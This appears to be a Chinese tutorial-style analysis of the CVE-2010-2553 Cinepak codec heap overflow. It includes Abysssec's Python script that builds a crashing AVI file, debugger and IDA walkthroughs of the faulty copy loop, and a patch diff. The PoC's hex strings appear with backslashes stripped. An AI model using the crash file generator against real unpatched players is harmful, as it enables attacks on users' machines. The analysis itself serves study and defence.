cve-2010-2553
漏洞描述
微软提供又Cinepak视频编解码器(iccvid.dll),其CVDecompress函数在解压缩媒体文件的时候,由于未对缓冲区大小进行检测,导致在复制压缩数据时造成堆溢出,利用漏洞可以执行任意代码。
分析环境
操作系统:Windows XP SP3
播放器:Windows Media Player
Iccvid.dll 1.10.0.12版本
Cinepak(CVID)压缩格式
Cinepak 压缩格式的总体框架如下:
其中Frame Header内部各字段的定义如下
分析过程
我们用Abysssec安全组织公布的poc代码,运行之后会生成poc.avi(需要在python2.7环境下)。
代码:
'''
__ __ ____ _ _ ____ | \/ |/ __ \ /\ | | | | _ \ | \ / | | | | / \ | | | | |_) | | |\/| | | | |/ /\ \| | | | _ < | | | | |__| / ____ \ |__| | |_) | |_| |_|\____/_/ \_\____/|____/
http://www.exploit-db.com/moaub-26-microsoft-cinepak-codec-cvdecompress-heap-overflow-ms10-055/
'''
'''
Title : Microsoft Cinepak Codec CVDecompress Heap Overflow
Version : iccvid.dll XP SP3
Analysis : http://www.abysssec.com
Vendor : http://www.microsoft.com
Impact : High
Contact : shahin [at] abysssec.com , info [at] abysssec.com
Twitter : @abysssec
CVE : CVE-2010-2553
MOAUB Number :
'''
import sys
def main():
aviHeaders =
'x52x49x46x46x58x01x00x00x41x56x49x20x4Cx49x53x54xC8x00x00x00x68x64x72x6Cx61x76x69x68x38x00x00x00xA0x86x01x00x00x00x00x00x00x00x00x00x10x01x00x00x4Ex00x00x00x00x00x00x00x01x00x00x00x00x00x00x00x60x01x00x00x20x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x4Cx49x53x54x7Cx00x00x00x73x74x72x6Cx73x74x72x68x38x00x00x00x76x69x64x73x63x76x69x64x00x00x00x00x00x00x00x00x00x00x00x00xE8x03x00x00x10x27x00x00x00x00x00x00x4Ex00x00x00x20x74x00x00xFFxFFxFFxFFx00x00x00x00x00x00x00x00x60x01x20x01x73x74x72x66x28x00x00x00x28x00x00x00x50x01x00x00x20x01x00x00x01x00x18x00x63x76x69x64x84x8Dx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00'
padding =
'x4Ax55x4Ex4Bx00x00x00x00x4Ax55x4Ex4Bx00x00x00x00'
movi_tag =
'x4Cx49x53x54x5Cx00x00x00x6Dx6Fx76x69x30x30x64x63x10x00x00x00'
cinepak_codec_data1 = 'x00x00x00x68x01x60x01x20'
number_of_coded_strips = 'x00x10'
cinepak_codec_data2 =
'x10x00x00x10x00x00x00x00x00x60x01x60x20x00x00x00x11x00x00x10x41x41x41x41x41x41x41x41x41x41x41x41x11x00x00x10x41x41x41x41x41x41x41x41x41x41x41x41x11x00x00x10x41x41x41x41x41x41x41x41x41x41x41x41x11x00x00x10x41x00'
idx_tag =
'x69x64x78x31x10x00x00x00x30x30x64x63x10x00x00x00x04x00x00x00x68x00x00x00'
avifile = open('poc.avi', 'wb+')
avifile.write(aviHeaders)
avifile.write(padding)
avifile.write(movi_tag)
avifile.write(cinepak_codec_data1)
avifile.write(number_of_coded_strips)
avifile.write(cinepak_codec_data2)
avifile.write(idx_tag)
avifile.close()
print '[-] AVI file generated'
if __name__ == '__main__':
main()
因为知道了是堆溢出,所以用到hpa调式的方法
用windbg附加wmplayer,开启hpa
g运行,程序断在了这里,也就是说这里的复制导致了堆的溢出
我们先来看看当前的edi是否在堆中,可以看到这时候的edi不在堆中。
在它前面一句下一个断点,再看一看
往下走,第一遍经过rep复制的时候,edi在堆中
继续运行,运行到第三遍的时候edi和我们之前直接断的位置是一样的。就在这里发生了溢出。
通过栈回溯可以定位到是哪个函数调用了这个溢出的位置
在ida找到这个位置,F5,这是定位到的调用函数,最下面的sub_73B721AE就是溢出位置。
int __stdcall sub_73B7CAD6(int a1, int a2, int a3, int a4, int a5, int a6, UINT
uBytes, int a8, int a9, int a10, int a11, int a12, int a13, int a14)
{
int v14; // ebx
int v15; // edi
int result; // eax
int v17; // eax
int v18; // edx
unsigned int v19; // eax
int v20; // edi
v14 = a12;
v15 = a9;
if ( *(_DWORD *)(a1 + 92) || (result = sub_73B7C48C(a1, a2, a3, a4, a5, a6, uBytes, a8, a9, a10, a11, a12, a13, a14)) == 0 )
{
v17 = *(_DWORD *)(v15 + 4);
if ( *(_DWORD *)(a1 + 144) != v17 || *(_DWORD *)(a1 + 148) != *(_DWORD*)(v15 + 8) )
{
*(_DWORD *)(a1 + 144) = v17;
*(_DWORD *)(a1 + 148) = *(_DWORD *)(v15 + 8);
v18 = *(_DWORD *)(a1 + 148);
v19 = ((*(_DWORD *)(a1 + 144) * (unsigned int)*(unsigned __int16 *)(v15 + 14) + 31) >> 3) & 0x1FFFFFFC;
*(_DWORD *)(a1 + 152) = v19;
if ( v18 < 0 )
{
*(_DWORD *)(a1 + 156) = v19 * (-1 - v18);
}
else
{
*(_DWORD *)(a1 + 156) = 0;
*(_DWORD *)(a1 + 152) = -v19;
}
}
v20 = a10 + *(_DWORD *)(a1 + 156) + a11 * *(signed __int16 *)(a1 + 110) - *(_DWORD *)(a1 + 152) * (*(signed __int16 *)(a1 + 122) + v14 - 1);
if ( !sub_73B7C709() || !sub_73B7C709() )
return -100;
if ( !(a2 & 0x10000000) )
{
if ( *(_BYTE *)(a1 + 104) & 1 )
{
if ( !sub_73B721AE(
*(_DWORD *)(a1 + 92),
(_BYTE *)a4,
a11,
*(_DWORD *)(a1 + 132),
*(_DWORD *)(a1 + 136),
*(_DWORD *)(a1 + 132),
*(_DWORD *)(a1 + 140)) )
return -100;
if ( a2 >= 0 )
sub_73B71333(
*(_DWORD *)(a1 + 132),
*(_DWORD *)(a1 + 132),
*(_DWORD *)(a1 + 136),
*(_DWORD *)(a1 + 140),
v20,
a10,
a9,
*(_DWORD *)(a1 + 152),
*(_WORD *)(a1 + 110) * *(_WORD *)(a1 + 120),
*(unsigned __int16 *)(a1 + 122));
}
else if ( !sub_73B721AE(*(_DWORD *)(a1 + 92), (_BYTE *)a4, a11, a10, a9, v20, *(_DWORD *)(a1 + 152)) )
{
return -100;
}
}
result = 0;
}
return result;
}
signed int __stdcall sub_73B721AE(unsigned int a1, _BYTE *a2, unsigned int a3, int a4, int a5, int a6, int a7)
{
unsigned int v7; // ebx
void *v8; // esi
int v9; // ST18_4
signed int result; // eax
_BYTE *v11; // esi
int v12; // eax
unsigned __int16 v13; // ax
_BYTE *v14; // esi
unsigned __int16 v15; // cx
unsigned __int16 v16; // ax
unsigned __int16 v17; // cx
int v18; // eax
int v19; // edi
unsigned __int8 *v20; // ecx
unsigned __int16 v21; // dx
unsigned int v22; // edx
signed int v23; // eax
unsigned int v24; // [esp+Ch] [ebp-20h]
int v25; // [esp+10h] [ebp-1Ch]
_BYTE *v26; // [esp+14h] [ebp-18h]
int v27; // [esp+14h] [ebp-18h]
int v28; // [esp+18h] [ebp-14h]
unsigned int v29; // [esp+1Ch] [ebp-10h]
_BYTE *v30; // [esp+20h] [ebp-Ch]
unsigned int v31; // [esp+24h] [ebp-8h]
int v32; // [esp+28h] [ebp-4h]
v7 = a1;
v8 = *(void **)(a1 + 36);
if ( v8 )
{
v9 = a7;
*(_DWORD *)(a1 + 36) = 0;
sub_73B721AE(v7, v8, 9286, 0, 0, 0, v9);
LocalFree(v8);
}
result = 0;
if ( a3 >= 0x20 )
{
v11 = a2;
BYTE1(result) = a2[1];
LOBYTE(result) = a2[2];
v12 = (unsigned __int8)a2[3] | (result << 8);
if ( (signed int)a3 < v12 || (HIBYTE(a3) = *a2, sub_73B72186(v12, 10, &v29) < 0) )
{
LABEL_33:
result = 0;
}
else
{
HIBYTE(v13) = v11[8];
v14 = v11 + 10;
v28 = 0;
v26 = v14;
v30 = v14;
LOBYTE(v13) = *(v14 - 1);
v25 = v13;
if ( (signed int)v13 > 0 )
{
v32 = 0;
do
{
if ( v29 < 0x16 )
break;
HIBYTE(v15) = v14[1];
LOBYTE(v15) = v14[2];
v31 = (unsigned __int8)v14[3] | (v15 << 8);
if ( v29 < v31 )
break;
if ( *v14 == 16 || *v14 == 17 )
{
if ( sub_73B72186(v31, 12, &a1) < 0 )
goto LABEL_33;
HIBYTE(v16) = v14[8];
HIBYTE(v17) = v14[4];
LOBYTE(v16) = v14[9];
LOBYTE(v17) = v14[5];
v18 = v16 - v17;
LOWORD(v18) = *(_WORD *)(v7 + 46) * v18;
a2 = (_BYTE *)v18;
if ( v32 && !HIBYTE(a3) && *v14 == 17 )
{
qmemcpy((void *)(*(_DWORD *)(v7 + 28) + v32),(const void *)(*(_DWORD *)(v7 + 28) + v32 - 0x2000),0x2000u);
v14 = v26;
}
v19 = (int)(v30 + 12);
v20 = v14 + 12;
*(_DWORD *)(v7 + 56) = v32 + *(_DWORD *)(v7 + 32);
v27 = (int)(v14 + 12);
*(_DWORD *)(v7 + 60) = a7;
while ( a1 >= 4 )
{
HIBYTE(v21) = v20[1];
LOBYTE(v21) = v20[2];
v22 = v20[3] | (v21 << 8);
v24 = v22;
if ( a1 < v22 )
break;
switch ( *v20 )
{
case 0x20u:
case 0x21u:
case 0x24u:
case 0x25u:
(*(void (__stdcall **)(int, _DWORD, _DWORD, _DWORD))v7)(
v19,
*(_DWORD *)(v7 + 56),
*(_DWORD *)(v7 + 52),
*(_DWORD *)(v7 + 48));
break;
case 0x22u:
case 0x23u:
case 0x26u:
case 0x27u:
(*(void (__stdcall **)(int, int, _DWORD, _DWORD))(v7 + 4))(
v19,
*(_DWORD *)(v7 + 56) + 4096,
*(_DWORD *)(v7 + 52),
*(_DWORD *)(v7 + 48));
break;
case 0x30u:
(*(void (__stdcall **)(unsigned int, int, unsigned int, int, int, int, _BYTE
*))(v7 + 8))(
v7,
v19 + 4,
v22 - 4,
a4,
a5,
a6,
a2);
break;
case 0x31u:
(*(void (__stdcall **)(unsigned int, int, unsigned int, int, int, int, _BYTE
*))(v7 + 16))(
v7,
v19 + 4,
v22 - 4,
a4,
a5,
a6,
a2);
break;
case 0x32u:
(*(void (__stdcall **)(unsigned int, int, unsigned int, int, int, int, _BYTE
*))(v7 + 12))(
v7,
v19 + 4,
v22 - 4,
a4,
a5,
a6,
a2);
break;
default:
break;
}
v20 = (unsigned __int8 *)(v24 + v27);
v23 = 1;
v19 += v24;
v27 += v24;
if ( v24 > 1 )
v23 = v24;
a1 -= v23;
}
a6 += a7 * (signed __int16)a2;
++v28;
v32 += 0x2000;
}
v30 += v31;
v29 -= v31;
v14 += v31;
v26 = v14;
}
while ( v28 < v25 );
}
result = 1;
}
}
return result;
}
就是这个语句导致了堆溢出,v7是函数传入参数的第一个参数。
qmemcpy((void *)(*(_DWORD *)(v7 + 28) + v32), (const void *)(*(_DWORD*)(v7 + 28) + v32 - 0x2000),0x2000u);
在windbg里面的调用函数位置下一个断点,看一下传入的参数是哪些。
注意这里在每次程序加载的时候只有第三个和第五个和第七个是一样的,其他都是每次加载就不同的。
可以看到复制的时候esi的位置是330e858,这个数是怎么来的呢?
通过ida的反汇编可以看到是传入的第一个参数偏移28之后的位置的地址。
再来看看前面的判断
这里的a3是传入的第三个参数,也就是不变的0x68,判断它是否大于0x20,根据后面格式的理解,这里的意思应该是判断未解压缩的数据长度是不是小于20H大小。
.text:73B721E1 xor eax, eax
.text:73B721E3 cmp [ebp+arg_8], 20h ; 判断未解压缩的数据长度
.text:73B721E7 jb loc_73B723ED
判断未解压缩的数据长度是不是小于FrameHeader中的数据长度
.text:73B721F3 movzx ecx, byte ptr [esi+3]
.text:73B721F7 mov al, [esi+2]
.text:73B721FA shl eax, 8
.text:73B721FD or eax, ecx ;eax为FrameHeade中CVID的数据长度
.text:73B721FF cmp [ebp+arg_8], eax
.text:73B72202 jl loc_73B723F4
比较Frame Header中的Number of codedstrips是不是小于0
.text:73B72221 xor eax, eax
.text:73B72223 mov ah, [esi+8]
.text:73B72226 add esi, 0Ah ;esi指向stripHeader
.text:73B72229 mov [ebp+var_14], edi
.text:73B7222C mov [ebp+var_18], esi
.text:73B7222F mov [ebp+var_C], esi
.text:73B72232 mov al, [esi-1] ;eax为FrameHeade中的编码条数
.text:73B72235 cmp eax, edi
.text:73B72237 mov [ebp+var_1C], eax
.text:73B7223A jle loc_73B723EA
然后就会对每个strip进行遍历,以下都是在对每个strip的处理中
对未解压的数据大小做比较
loc_73B72243:
mov eax, [ebp+var_10]
cmp eax, 16h
jb loc_73B723EA
对编码条数据大小做判断
movzx edx, byte ptr [esi+3]
xor ecx, ecx
mov ch, [esi+1]
mov cl, [esi+2]
shl ecx, 8
or ecx, edx ;ecx为stripHeader的编码条数据大小
cmp eax, ecx ;eax为前面函数的返回值
mov [ebp+var_8], ecx
jb loc_73B723EA
判断编码条id是10还是11
mov al, [esi]
cmp al, 10h
jz short loc_73B72279
cmp al, 11h
jnz loc_73B723D0
对strip header中的底部Y坐标与顶部Y坐标做差,结果乘以一个数后存储起来。
xor eax, eax
mov ah, [esi+8]
xor ecx, ecx
mov ch, [esi+4]
mov al, [esi+9]
mov cl, [esi+5]
sub eax, ecx
imul ax, [ebx+2Eh]
mov [ebp+arg_4], eax
mov eax, [ebp+var_4]
cmp eax, edi
jz short loc_73B722D1
当strip header中的编码条ID为10时,会向堆中拷贝数据。
根据poc结合分析,每次当解析到chunkID为20时,此时,不会向堆里覆盖内容,当解析到chunkid=0×1100时,就会向堆数据中复制数据。
因为poc.avi中有三处chunkid为11的数据块,因此向堆中复制了三次数据,而正是第三次复制时,使堆溢出而崩溃。
漏洞修复
用bindiff分析原文件和补丁,注意要用ida6.8生成的idb文件分析
补丁的修改就是增加了循环次数的限定,最多只有三次循环,那样每次增加0x2000就不会造成堆溢出。
参考链接
《漏洞战争》